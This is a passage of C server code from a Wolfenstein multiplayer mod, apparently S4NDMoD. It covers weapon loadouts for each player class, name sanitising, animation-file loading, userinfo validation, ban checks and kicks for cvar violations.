client->ps.weapon = WP_SNIPERRIFLE;
COM_BitSet( client->ps.weapons, WP_MAUSER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MAUSER)] = 0;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MAUSER)] = 999999;
client->ps.weapon = WP_MAUSER;
COM_BitSet( client->ps.weapons, WP_SMOKE_GRENADE);
client->ps.ammoclip[BG_FindClipForWeapon(WP_SMOKE_GRENADE)] = 1;
client->ps.ammo[WP_SMOKE_GRENADE] = 1;
COM_BitSet(client->ps.weapons, WP_MEDIC_SYRINGE);
client->ps.ammoclip[BG_FindClipForWeapon(WP_MEDIC_SYRINGE)] = 1;
client->ps.stats[STAT_KEYS] |= ( 1 << INV_BINOCS );
COM_BitSet(client->ps.weapons, WP_ARTY);
client->ps.ammo[BG_FindAmmoForWeapon(WP_ARTY)] = 0;
client->ps.ammoclip[BG_FindClipForWeapon(WP_ARTY)] = 1;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_SNIPERRIFLE));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MAUSER));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_SMOKE_GRENADE));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MEDIC_SYRINGE));
// sort of a hack. bots need it for ammo table lookup so they can use the call arty goal
COM_BitSet(client->ps.weapons, WP_BINOCULARS);
client->ps.ammo[BG_FindAmmoForWeapon(WP_BINOCULARS)] = 0;
client->ps.ammoclip[BG_FindClipForWeapon(WP_BINOCULARS)] = 1;
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_BINOCULARS));
#endif
}
/*
====================================
END FUN, BEGIN REGUALR WW1
====================================
*/
else{
switch( client->sess.sessionTeam ) { // JPW NERVE was playerPistol
case TEAM_RED: // JPW NERVE
COM_BitSet( client->ps.weapons, WP_LUGER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_LUGER)] += 10;
client->ps.ammo[BG_FindAmmoForWeapon(WP_LUGER)] += 30;
client->ps.weapon = WP_LUGER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_LUGER));
#endif
break;
default: // '0' // TEAM_BLUE
COM_BitSet( client->ps.weapons, WP_COLT );
client->ps.ammoclip[BG_FindClipForWeapon(WP_COLT)] += 10;
client->ps.ammo[BG_FindAmmoForWeapon(WP_COLT)] += 30;
client->ps.weapon = WP_COLT;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_COLT));
#endif
break;
}
//client->ps.stats[STAT_KEYS] |= ( 1 << INV_BINOCS );
//*****COMMENT THIS BACK IN*****
//COM_BitSet( client->ps.weapons, WP_SMOKE_GRENADE);
//client->ps.ammoclip[BG_FindClipForWeapon(WP_SMOKE_GRENADE)] = 1;
//client->ps.ammo[WP_SMOKE_GRENADE] = 1;
// Engineer gets knife, mauser, smoke canister
if ( pc == PC_ENGINEER ) {
COM_BitSet( client->ps.weapons, WP_MAUSER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MAUSER)] = 6;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MAUSER)] = 24;
client->ps.weapon = WP_MAUSER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MAUSER));
#endif
//this will be a gas attack???-no more as?
COM_BitSet( client->ps.weapons, WP_SMOKE_GRENADE);
client->ps.ammoclip[BG_FindClipForWeapon(WP_SMOKE_GRENADE)] = 1;
client->ps.ammo[WP_SMOKE_GRENADE] = 1;
//Grenades for Engie:
if (client->sess.sessionTeam == TEAM_RED){
COM_BitSet( client->ps.weapons, WP_GRENADE_LAUNCHER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_LAUNCHER)] = 3;
}
else{
COM_BitSet( client->ps.weapons, WP_GRENADE_PINEAPPLE );
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_PINEAPPLE)] = 3;
}
//We'd like to be able to get through walls
COM_BitSet( client->ps.weapons, WP_DYNAMITE );
client->ps.ammo[BG_FindAmmoForWeapon(WP_DYNAMITE)] = 0;
client->ps.ammoclip[BG_FindClipForWeapon(WP_DYNAMITE)] = 1;
//And be able to stop them from coming
COM_BitSet( client->ps.weapons, WP_PLIERS);
client->ps.ammoclip[BG_FindClipForWeapon(WP_PLIERS)] = 1;
client->ps.ammo[WP_PLIERS] = 1;
}
//Medic gets knife, pistol, medpacks
if (pc == PC_MEDIC ) {
//Medics have to have some bonus...
if (client->sess.sessionTeam == TEAM_RED){
COM_BitSet( client->ps.weapons, WP_LUGER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_LUGER)] += 0;
client->ps.ammo[BG_FindAmmoForWeapon(WP_LUGER)] += 10;
client->ps.weapon = WP_LUGER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_LUGER));
#endif
}
else{
COM_BitSet( client->ps.weapons, WP_COLT );
client->ps.ammoclip[BG_FindClipForWeapon(WP_COLT)] += 0;
client->ps.ammo[BG_FindAmmoForWeapon(WP_COLT)] += 10;
client->ps.weapon = WP_COLT;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_COLT));
#endif
}
COM_BitSet( client->ps.weapons, WP_MAUSER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MAUSER)] = 6;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MAUSER)] = 0;
client->ps.weapon = WP_MAUSER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MAUSER));
#endif
COM_BitSet( client->ps.weapons, WP_MEDKIT);
client->ps.ammoclip[BG_FindClipForWeapon(WP_MEDKIT)] = 1;
client->ps.ammo[WP_MEDKIT] = 1;
//Not enough technology to have all this "fancys"
COM_BitSet(client->ps.weapons, WP_MEDIC_SYRINGE);
client->ps.ammoclip[BG_FindClipForWeapon(WP_MEDIC_SYRINGE)] = 2;
//Grenades just 2 because we feel sorry for med with no primary
//MEDS HAVE A PRIMARY, so only 1 grenade
if (client->sess.sessionTeam == TEAM_RED){
COM_BitSet( client->ps.weapons, WP_GRENADE_LAUNCHER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_LAUNCHER)] = 1;
}
else{
COM_BitSet( client->ps.weapons, WP_GRENADE_PINEAPPLE );
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_PINEAPPLE)] = 1;
}
}
//soldier gets knife, pistol, mauser, flamer, venom or sniper
if ( pc == PC_SOLDIER ) {
switch( client->sess.playerWeapon ) {
case 6: // WP_MAUSER, WP_SNIPERRIFLE
COM_BitSet( client->ps.weapons, WP_SNIPERRIFLE );
client->ps.ammoclip[BG_FindClipForWeapon(WP_SNIPERRIFLE)] = 6;
client->ps.ammo[BG_FindAmmoForWeapon(WP_SNIPERRIFLE)] = 12;
client->ps.weapon = WP_SNIPERRIFLE;
COM_BitSet( client->ps.weapons, WP_MAUSER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MAUSER)] = 6;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MAUSER)] = 12;
client->ps.weapon = WP_MAUSER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_SNIPERRIFLE));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MAUSER));
#endif
break;
case 8: // WP_PANZERFAUST
if (g_maxPf.integer != -1)
{
int count = (client->sess.sessionTeam == TEAM_RED) ? level.axisPanz : level.alliedPanz;
if ((count >= g_maxPf.integer) && (client->pers.restrictedWeapon != WP_PANZERFAUST))
{
trap_SendServerCommand(client->ps.clientNum, va("cp \"Maximum number of panzerfausts reached(%d).\nPlease select a different weapon.\n\"", g_maxPf.integer));
COM_BitSet( client->ps.weapons, WP_MAUSER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MAUSER)] = 6;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MAUSER)] = 12;
client->ps.weapon = WP_MAUSER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MAUSER));
#endif
break;
}
if (client->pers.restrictedWeapon != WP_PANZERFAUST)
{
(client->sess.sessionTeam == TEAM_RED) ? level.axisPanz++ : level.alliedPanz++;
client->pers.restrictedWeapon = WP_PANZERFAUST;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_PANZERFAUST));
#endif
}
}
COM_BitSet( client->ps.weapons, WP_PANZERFAUST );
client->ps.ammo[BG_FindAmmoForWeapon(WP_PANZERFAUST)] = 3;
client->ps.weapon = WP_PANZERFAUST;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_PANZERFAUST));
#endif
break;
case 9: // WP_VENOM
if (g_maxVenom.integer != -1)
{
int count = (client->sess.sessionTeam == TEAM_RED) ? level.axisVenom : level.alliedVenom;
if ((count >= g_maxVenom.integer) && (client->pers.restrictedWeapon != WP_VENOM))
{
trap_SendServerCommand(client->ps.clientNum, va("Maximum number of venoms reached (%d). \nPlease select a different weapon.\n\"", g_maxVenom.integer));
COM_BitSet( client->ps.weapons, WP_MAUSER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MAUSER)] = 6;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MAUSER)] = 12;
client->ps.weapon = WP_MAUSER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MAUSER));
#endif
break;
}
if (client->pers.restrictedWeapon != WP_VENOM)
{
(client->sess.sessionTeam == TEAM_RED) ? level.axisVenom++ : level.alliedVenom++;
client->pers.restrictedWeapon = WP_VENOM;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_VENOM));
#endif
}
}
COM_BitSet( client->ps.weapons, WP_VENOM );
client->ps.ammoclip[BG_FindAmmoForWeapon(WP_VENOM)] = 200;
//client->ps.ammoclip[BG_FindClipForWeapon(WP_VENOM)] = 100;
client->ps.weapon = WP_VENOM;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_VENOM));
#endif
break;
case 10: // WP_FLAMETHROWER
if (g_maxFlamer.integer != -1)
{
int count = (client->sess.sessionTeam == TEAM_RED) ? level.axisFlame : level.alliedFlame;
if ((count >= g_maxFlamer.integer) && (client->pers.restrictedWeapon != WP_FLAMETHROWER))
{
trap_SendServerCommand(client->ps.clientNum, va("Maximum number of flamethrowers reached (%d). \nPlease select a different weapon.\n\"", g_maxFlamer.integer));
COM_BitSet( client->ps.weapons, WP_MAUSER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MAUSER)] = 6;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MAUSER)] = 12;
client->ps.weapon = WP_MAUSER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MAUSER));
#endif
break;
}
if (client->pers.restrictedWeapon != WP_FLAMETHROWER)
{
(client->sess.sessionTeam == TEAM_RED) ? level.axisFlame++ : level.alliedFlame++;
client->pers.restrictedWeapon = WP_FLAMETHROWER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_FLAMETHROWER));
#endif
}
}
COM_BitSet( client->ps.weapons, WP_FLAMETHROWER );
client->ps.ammoclip[BG_FindAmmoForWeapon(WP_FLAMETHROWER)] = 200;
client->ps.weapon = WP_FLAMETHROWER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_FLAMETHROWER));
#endif
break;
default: // give mauser if given invalid weapon number
COM_BitSet( client->ps.weapons, WP_MAUSER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MAUSER)] = 6;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MAUSER)] = 12;
client->ps.weapon = WP_MAUSER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MAUSER));
#endif
break;
}
//Grenades just 2 because of HW choices
if (client->sess.sessionTeam == TEAM_RED){
COM_BitSet( client->ps.weapons, WP_GRENADE_LAUNCHER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_LAUNCHER)] = 4;
}
else{
COM_BitSet( client->ps.weapons, WP_GRENADE_PINEAPPLE );
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_PINEAPPLE)] = 4;
}
}
// Lieutenant gets knife, pistol, mauser, binocs,
if ( pc == PC_LT ) {
client->ps.stats[STAT_KEYS] |= ( 1 << INV_BINOCS );
COM_BitSet( client->ps.weapons, WP_MAUSER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MAUSER)] = 6;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MAUSER)] = 18;
client->ps.weapon = WP_MAUSER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MAUSER));
#endif
if (client->sess.sessionTeam == TEAM_RED){
COM_BitSet( client->ps.weapons, WP_GRENADE_LAUNCHER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_LAUNCHER)] = 2;
}
else{
COM_BitSet( client->ps.weapons, WP_GRENADE_PINEAPPLE );
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_PINEAPPLE)] = 2;
}
}
}
}
}
// JPW NERVE -- medics on each team make cumulative health bonus -- this gets overridden for "revived" players
// count up # of medics on team
for (i=0;i<level.maxclients;i++) {
if (level.clients[i].pers.connected != CON_CONNECTED )
continue;
if (level.clients[i].sess.sessionTeam != client->sess.sessionTeam)
continue;
if (level.clients[i].ps.stats[STAT_PLAYER_CLASS] != PC_MEDIC)
continue;
numMedics++;
}
if(!g_theTrenchesMode.integer){
// compute health mod
if((g_deathmatch.integer != 2) && (!g_SniperMode.integer))
starthealth = 100 + 10*numMedics;
else
starthealth = 100;
if (starthealth > 125)
starthealth = 125;
// give everybody health mod in stat_max_health
/*if (g_SniperMode.integer){
for (i=0;i<level.maxclients;i++) {
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
if (level.clients[i].sess.sessionTeam == client->sess.sessionTeam)
client->ps.stats[STAT_MAX_HEALTH] = 100;
}
}else{*/
for (i=0;i<level.maxclients;i++) {
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
if (level.clients[i].sess.sessionTeam == client->sess.sessionTeam)
client->ps.stats[STAT_MAX_HEALTH] = starthealth;
}
// }
// jpw
}
}
// dhm - end
/*
===========
ClientCheckName
============
*/
static void ClientCleanName( const char *in, char *out, int outSize ) {
int len, colorlessLen;
char ch;
char *p;
int spaces;
//save room for trailing null byte
outSize--;
len = 0;
colorlessLen = 0;
p = out;
*p = 0;
spaces = 0;
while( 1 ) {
ch = *in++;
if( !ch ) {
break;
}
// don't allow leading spaces
if( !*p && ch == ' ' ) {
continue;
}
// check colors
if( ch == Q_COLOR_ESCAPE ) {
// solo trailing carat is not a color prefix
if( !*in ) {
break;
}
if (g_allowBlackNames.integer < 1){
// don't allow black in a name, period
if( ColorIndex(*in) == 0 ) {
in++;
continue;
}
}
// make sure room in dest for both chars
if( len > outSize - 2 ) {
break;
}
*out++ = ch;
*out++ = *in++;
len += 2;
continue;
}
// if( ch == '.' )
// continue;
// don't allow too many consecutive spaces
if( ch == ' ' ) {
spaces++;
if( spaces > 3 ) {
continue;
}
}
else {
spaces = 0;
}
if( len > outSize - 1 ) {
break;
}
*out++ = ch;
colorlessLen++;
len++;
}
*out = 0;
// don't allow empty names
if( *p == 0 || colorlessLen == 0 ) {
Q_strncpyz( p, "UnnamedPlayer", outSize );
}
}
/*
==================
G_CheckForExistingModelInfo
If this player model has already been parsed, then use the existing information.
Otherwise, set the modelInfo pointer to the first free slot.
returns qtrue if existing model found, qfalse otherwise
==================
*/
qboolean G_CheckForExistingModelInfo( gclient_t *cl, char *modelName, animModelInfo_t **modelInfo )
{
int i;
animModelInfo_t *trav, *firstFree=NULL;
gclient_t *cl_trav;
char modelsUsed[MAX_ANIMSCRIPT_MODELS];
for ( i=0, trav=level.animScriptData.modelInfo; i<MAX_ANIMSCRIPT_MODELS; i++, trav++ ) {
if ( trav->modelname[0] ) {
if ( !Q_stricmp( trav->modelname, modelName ) ) {
// found a match, use this modelinfo
*modelInfo = trav;
level.animScriptData.clientModels[cl->ps.clientNum] = i+1;
return qtrue;
}
} else if (!firstFree) {
firstFree = trav;
level.animScriptData.clientModels[cl->ps.clientNum] = i+1;
}
}
// set the modelInfo to the first free slot
if (!firstFree) {
// attempt to free a model that is no longer being used
memset( modelsUsed, 0, sizeof(modelsUsed) );
for ( i=0, cl_trav=level.clients; i<MAX_CLIENTS; i++, cl_trav++ ) {
if (cl_trav != cl && g_entities[cl_trav->ps.clientNum].inuse && cl_trav->modelInfo) {
modelsUsed[ (int)(cl_trav->modelInfo - level.animScriptData.modelInfo) ] = 1;
}
}
// now use the first slot that isn't being utilized
for ( i=0, trav=level.animScriptData.modelInfo; i<MAX_ANIMSCRIPT_MODELS; i++, trav++ ) {
if (!modelsUsed[i]) {
firstFree = trav;
level.animScriptData.clientModels[cl->ps.clientNum] = i+1;
break;
}
}
}
if (!firstFree) {
G_Error( "unable to find a free modelinfo slot, cannot continue\n" );
} else {
*modelInfo = firstFree;
// clear the structure out ready for use
memset( *modelInfo, 0, sizeof(*modelInfo) );
}
// qfalse signifies that we need to parse the information from the script files
return qfalse;
}
/*
=============
G_ParseAnimationFiles
=============
*/
static char text[100000]; // <- was causing callstacks >64k
qboolean G_ParseAnimationFiles( char *modelname, gclient_t *cl )
{
char filename[MAX_QPATH];
fileHandle_t f;
int len;
// set the name of the model in the modelinfo structure
Q_strncpyz( cl->modelInfo->modelname, modelname, sizeof(cl->modelInfo->modelname) );
// load the cfg file
Com_sprintf( filename, sizeof( filename ), "models/players/%s/wolfanim.cfg", modelname );
len = trap_FS_FOpenFile( filename, &f, FS_READ );
if ( len <= 0 ) {
G_Printf( "G_ParseAnimationFiles(): file '%s' not found\n", filename ); //----(SA) added
return qfalse;
}
if ( len >= sizeof( text ) - 1 ) {
G_Printf( "File %s too long\n", filename );
return qfalse;
}
trap_FS_Read( text, len, f );
text[len] = 0;
trap_FS_FCloseFile( f );
// parse the text
BG_AnimParseAnimConfig( cl->modelInfo, filename, text );
// load the script file
Com_sprintf( filename, sizeof( filename ), "models/players/%s/wolfanim.script", modelname );
len = trap_FS_FOpenFile( filename, &f, FS_READ );
if ( len <= 0 ) {
if (cl->modelInfo->version > 1) {
return qfalse;
}
// try loading the default script for old legacy models
Com_sprintf( filename, sizeof( filename ), "models/players/default.script", modelname );
len = trap_FS_FOpenFile( filename, &f, FS_READ );
if ( len <= 0 ) {
return qfalse;
}
}
if ( len >= sizeof( text ) - 1 ) {
G_Printf( "File %s too long\n", filename );
return qfalse;
}
trap_FS_Read( text, len, f );
text[len] = 0;
trap_FS_FCloseFile( f );
// parse the text
BG_AnimParseAnimScript( cl->modelInfo, &level.animScriptData, cl->ps.clientNum, filename, text );
// ask the client to send us the movespeeds if available
if (g_gametype.integer == GT_SINGLE_PLAYER && g_entities[0].client && g_entities[0].client->pers.connected == CON_CONNECTED) {
trap_SendServerCommand( 0, va("mvspd %s", modelname) );
}
return qtrue;
}
char * goodmodelname[]={
"redmedic1",
"redengineer1",
"redsoldier1",
"redlieutenant1",
"bluemedic1",
"bluesoldier1",
"blueengineer1",
"bluelieutenant1"
};
/*L0 - I moved this up a little.. it's not declared and it was under "ClientUserinfoChanged" although called from it..so it created problems... */
qboolean checkPassword(const char * value,const char * ip,const char * passwords)
{
int i,j,checkpass;
char token[64];
time_t rawtime;
struct tm * timeinfo;
FILE*bypassbanlog;
time ( &rawtime );
timeinfo = localtime ( &rawtime );
token[0]=0;
bypassbanlog=fopen("ban_bypass.log","a+");
i=j=checkpass=0;
if(strlen(value) < 3)
return qfalse;
for(i=0; i < strlen(passwords); i++)
{
if(passwords[i] == ' ')//found a space close up the token checkpass
{
token[j]=0;
checkpass = 1;
}else{//didnt find the space
token[j]=passwords[i];
}
j++;
if(checkpass)
{
if(!strcmp(token, value))
{
fputs(va("IP: %s, PASS: %s, TIME: %s",ip,token,asctime (timeinfo)),bypassbanlog);
fclose(bypassbanlog);
return qtrue;
}
checkpass=0;//reset checkpass
j=0; //reset pos
Q_strncpyz ( token, "", sizeof( token ) );
}
}
token[j]=0;
if(!strcmp(token, value))
{
fputs(va("IP: %s, PASS: %s, TIME: %s",ip,token,asctime (timeinfo)),bypassbanlog);
fclose(bypassbanlog);
return qtrue;
}
fclose(bypassbanlog);
return qfalse;
}
const char *GetParsedIP(const char *ipadd)
{
// code by <NAME>, http://bytes.com/forum/thread212174.html
unsigned b1, b2, b3, b4, port = 0;
unsigned char c;
int rc;
static char ipge[20];
if (!Q_strncmp(ipadd, "localhost", strlen("localhost")))
return "localhost";
rc = sscanf(ipadd, "%3u.%3u.%3u.%3u:%u%c", &b1, &b2, &b3, &b4, &port, &c);
if (rc < 4 || rc > 5)
return NULL;
if ((b1 | b2 | b3 | b4) > 255 || port > 65535)
return NULL;
if (strspn(ipadd, "0123456789.:") < strlen(ipadd))
return NULL;
sprintf(ipge, "%u.%u.%u.%u", b1, b2, b3, b4);
return ipge;
}
// Dens: based on reyalp's userinfocheck.lua and combinedfixes.lua
char *CheckUserinfo(int clientNum , qboolean firstTime)
{
char userinfo[MAX_INFO_STRING], *value;
int length = 0, i, slashCount = 0, count = 0;
trap_GetUserinfo(clientNum, userinfo, sizeof(userinfo));
length = strlen(userinfo);
if (length < 1) {
return "Userinfo too short";
}
// Dens: 44 is a bit random now: MAX_INFO_STRING - 44 = 980. The LUA script
// uses 980, but I don't know if there is a specific reason for that
// number. Userinfo should never get this big anyway, unless someone is
// trying to force the engine to truncate it, so that the real IP is lost
if (length > MAX_INFO_STRING - 44) {
return "Userinfo too long";
}
// Dens: userinfo always has to have a leading slash
if (userinfo[0] != '\\') {
return "Missing leading slash in userinfo";
}
// Dens: the engine always adds ip\ip:port at the end, so there will never
// be a trailing slash
if (userinfo[length - 1] == '\\') {
return "Trailing slash in userinfo";
}
for (i = 0; userinfo[i]; i++) {
if (userinfo[i] == '\\') {
slashCount++;
}
}
if (slashCount % 2 != 0) {
return "Bad number of slashes in userinfo";
}
// Dens: make sure there is only one ip, cl_guid, name and cl_punkbuster
// field
if (firstTime)
{
if (length > 4) {
for (i = 0; userinfo[i + 3]; i++) {
if (userinfo[i] == '\\' && userinfo[i + 1] == 'i' &&
userinfo[i + 2] == 'p' && userinfo[i + 3] == '\\') {
count++;
}
}
}
if (count == 0) {
return "Missing IP in userinfo.";
}
else if (count > 1) {
return "Too many IP fields in userinfo";
}
//else {
// if (GetParsedIP(Info_ValueForKey(userinfo, "ip")) == NULL)
// return "Malformed IP in userinfo.";
//}
}
count = 0;
if (length > 6) {
for (i = 0; userinfo[i + 5]; i++) {
if (userinfo[i] == '\\' && userinfo[i + 1] == 'n' &&
userinfo[i + 2] == 'a' && userinfo[i + 3] == 'm' &&
userinfo[i + 4] == 'e' && userinfo[i + 5] == '\\') {
count++;
}
}
}
if (count == 0) {
return "Missing name field in userinfo";
}
else if (count > 1) {
return "Too many name fields in userinfo";
}
value = Info_ValueForKey(userinfo, "rate");
if (value == NULL || value[0] == '\0')
return "Wrong rate field in userinfo.";
return 0;
}
/*
===========
ClientUserInfoChanged
Called from ClientConnect when the player first connects and
directly by the server system when the player updates a userinfo variable.
The game can override any of the settings and call trap_SetUserinfo
if desired.
============
*/
void ClientUserinfoChanged( int clientNum ) {
extern vmCvar_t g_developer;
extern vmCvar_t g_log;
gentity_t *ent;
char *s;
char model[MAX_QPATH], modelname[MAX_QPATH];
//----(SA) added this for head separation
char head[MAX_QPATH];
char *reason = "";
char oldname[MAX_STRING_CHARS];
gclient_t *client;
char *c1;
char userinfo[MAX_INFO_STRING];
char ip[20];
char port[20];
int nameTime;
char *value;
int banNum;
// int i;
//qboolean badclient = qtrue;
#ifdef IPSPOOF
char *reason; // ETPub
#endif
ent = g_entities + clientNum;
client = ent->client;
client->ps.clientNum = clientNum;
if (!(ent->r.svFlags & SVF_BOT)) {
reason = CheckUserinfo(clientNum, qfalse);
if (reason) {
trap_DropClient(clientNum, va("%s", reason));
}
}
trap_GetUserinfo( clientNum, userinfo, sizeof( userinfo ) );
// check for malformed or illegal info strings
if (!(ent->r.svFlags & SVF_BOT) && !Info_Validate(userinfo)) {
// Q_strncpyz( userinfo, "\\name\\badinfo", sizeof(userinfo) );
trap_DropClient(clientNum, "^1Forbidden character in userinfo");
}
//Info_ValueForKey (userinfo, "ip");
// check for local client
s = Info_ValueForKey( userinfo, "ip" );
if ( s && !strcmp( s, "localhost" ) ) {
client->pers.localClient = qtrue;
}
else if (!(ent->r.svFlags & SVF_BOT) && !strlen(client->sess.ip)){
GetIP(s, ip, port);
sscanf( ip, "%s", &client->sess.ip );
}
if (g_developer.integer || g_log.string[0] || g_dedicated.integer) {
G_LogPrintf("Userinfo: %s\n", userinfo);
}
// See if they are banned
banNum = CheckBANS(ent->client->sess.ip);
if(banNum == 1) {
value = Info_ValueForKey (userinfo, "password");
if(!checkPassword(value, ent->client->pers.netname, bannedpasswords))
trap_DropClient(ent-g_entities, "^7Player Kicked: ^3Banned From This Server");
return;
}
if(banNum == 2){
trap_DropClient(ent-g_entities, "^7Player Kicked: ^3Temporarily Banned From ^3This Server");
return;
}
value = Info_ValueForKey (userinfo, "password");
if(checkMBL(ent->client->sess.ip, value)){
trap_DropClient(ent-g_entities, "^7Player Kicked: ^1Banned ^3From S4NDMoD! ^3Protest At S4NDMoD.com");
return;
}
#ifdef OMNIBOT
if(ent->r.svFlags & SVF_BOT) {
client->pers.autoActivate = PICKUP_TOUCH;
client->pmext.bAutoReload = qtrue;
client->pers.predictItemPickup = qfalse;
} else {
#endif // OMNIBOT
s = Info_ValueForKey (userinfo, "model");
/*
if(strlen(s) >= 30){
S4ND_nuke(ent);
return;
}
*/
Info_SetValueForKey( userinfo, "handicap", "100" );
// check the item prediction agent - always dont predict...it is helpful when you dropgun, it doesnt print if you dont pick it up
s = Info_ValueForKey( userinfo, "cg_predictItems" );
if ( !atoi( s ) ) {
client->pers.predictItemPickup = qfalse;
} else {
client->pers.predictItemPickup = qtrue;
}
if(g_pickupAmmo.integer)
client->pers.predictItemPickup = qfalse;
//
//////////////////////////////////////////
// AB_CVAR_CHECKING
///////////////////////////////////////////
// if ((AB_Enable.integer) && (AB_CvarCheck.integer)){
s = Info_ValueForKey( userinfo, "rate" );
if ((client->pers.connected == CON_CONNECTED) && ( atoi(s) < 2500 )){
trap_DropClient(ent-g_entities, "Player Kicked: ^3Cvar Violation: Rate Must ^3Be >= 2500");
}
s = Info_ValueForKey( userinfo, "snaps" );
if ((client->pers.connected == CON_CONNECTED) && ( atoi(s) < 20 )){
trap_DropClient(ent-g_entities, "Player Kicked: ^3Cvar Violation: Snaps Must ^3Be >= 20");
}
s = Info_ValueForKey( userinfo, "name" );
if ((client->pers.connected == CON_CONNECTED) && ( s && !Q_stricmp( s, "WolfPlayer" ))){
trap_DropClient(ent-g_entities, "Player Kicked: ^3Name Not Allowed");
}
s = Info_ValueForKey( userinfo, "name" );
if ((client->pers.connected == CON_CONNECTED) && ( s && !Q_stricmp( s, "console" ))){
trap_DropClient(ent-g_entities, "Player Kicked: ^3Name Not Allowed");
}
s = Info_ValueForKey( userinfo, "cl_anonymous" );
if ((client->pers.connected == CON_CONNECTED) && ( s && Q_stricmp( s, "0" ))){
trap_DropClient(ent-g_entities, "Player Kicked: ^3Cvar Violation: ^3Cl_Anonymous Must = 0");
}
//}
//////////////////////////////////////////
// END AB_CVAR_CHECKING
//////////////////////////////////////////
// check the auto activation
s = Info_ValueForKey( userinfo, "cg_autoactivate" );
if ( !atoi( s ) ) {
client->pers.autoActivate = PICKUP_ACTIVATE;
} else {
client->pers.autoActivate = PICKUP_TOUCH;
}
// check the auto empty weapon switching
s = Info_ValueForKey( userinfo, "cg_emptyswitch" );
if ( !atoi( s ) ) {
client->pers.emptySwitch = 0;
} else {
client->pers.emptySwitch = 1;
}
s = Info_ValueForKey( userinfo, "sex" );
/*if(strlen(s) >= 30){
S4ND_nuke(ent);
return;
}*/
if (!Q_stricmp(s, "female"))
ent->client->sess.gender = 1;
else
ent->client->sess.gender = 0;
#ifdef OMNIBOT
}
#endif
// set name
Q_strncpyz ( oldname, client->pers.netname, sizeof( oldname ) );
s = Info_ValueForKey (userinfo, "name");
ClientCleanName( s, client->pers.netname, sizeof(client->pers.netname) );
//S4NDM4NN sometimes when it says what people renamed it gets annoying so lets just turn it off
if ( client->pers.connected == CON_CONNECTED ) {
if ( strcmp( oldname, client->pers.netname ) ) {
G_LogPrintf("%s RENAMED TO %s\n",oldname, ent->client->pers.netname);
// Agent - Dont allow namespam scripts :)
nameTime = level.time - ent->client->pers.LastNameChangeTime;
ent->client->pers.LastNameChangeTime = level.time;
if(g_gamestate.integer != GS_INTERMISSION){
trap_SendServerCommand( -1, va("print \"%.99s ^7renamed to %.99s\n\"", oldname, client->pers.netname) );
if (AB_AllowNameSpam.integer == 0){
if (nameTime < 50)
S4ND_spam(ent);
}
}
if (isNameShort(ent)){
